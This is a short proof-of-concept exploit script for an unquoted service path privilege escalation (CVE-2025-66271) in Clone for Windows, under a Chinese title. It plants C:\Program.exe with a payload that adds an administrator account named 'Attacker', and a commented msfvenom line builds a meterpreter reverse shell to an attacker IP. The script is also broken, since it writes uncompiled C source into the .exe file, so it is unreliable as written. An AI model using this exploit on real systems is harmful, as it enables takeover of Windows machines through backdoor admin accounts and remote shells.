CVE-2025-66271: Clone for Windows未加引号服务路径权限提升漏洞

#!/bin/bash # CVE-2025-66271 PoC - Clone for Windows Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability # Author: Security Researcher # Date: 2025-12-09 # Check if we have write permission on system drive root if [ ! -w "/mnt/c/" ]; then echo "[-] Error: No write permission on system drive root" exit 1 fi # Create malicious executable that will be executed with SYSTEM privileges cat > /mnt/c/Program.exe << 'EOF' #include <windows.h> #include <stdio.h> int main() { // Create a reverse shell or execute privileged commands // This payload runs with SYSTEM privileges STARTUPINFO si = {sizeof(STARTUPINFO)}; PROCESS_INFORMATION pi; // Example: Create a new user with admin privileges // In real attack, this would be a reverse shell or RAT char* cmd = "cmd.exe /c net user Attacker P@ssw0rd123 /add && net localgroup Administrators Attacker /add"; if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { printf("[+] Malicious payload executed with SYSTEM privileges!\n"); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } return 0; } EOF echo "[+] Malicious Program.exe created at C:\Program.exe" echo "[+] Waiting for Clone for Windows service to restart..." echo "[+] When service restarts, it will execute our payload with SYSTEM privileges" # Alternative: Use msfvenom for reverse shell # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe -o /mnt/c/Program.exe